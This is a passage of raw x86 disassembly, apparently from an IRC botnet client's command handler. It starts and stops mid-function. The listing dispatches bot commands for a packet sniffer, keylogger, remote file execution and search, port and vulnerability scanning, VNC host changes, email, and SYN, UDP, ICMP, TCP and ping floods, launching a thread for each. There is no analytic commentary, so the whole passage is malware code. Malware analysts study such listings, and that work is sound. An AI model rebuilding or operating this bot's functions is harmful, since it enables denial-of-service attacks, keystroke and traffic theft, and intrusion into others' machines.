		push	offset dword_42B628
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B598
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B56C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B530
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4F4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B4A0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B474
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410BFD
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	loc_4081AD
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B440
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B408
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAB4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBADC, ebx
		jz	short loc_405F4F
		push	offset unk_42B390
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B364
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B344
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_2	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B304
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2E4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2C4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B2A4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B278
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B25C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B940
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset sub_41525A
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B0E8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B0A0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset sub_4141B2
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B064
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
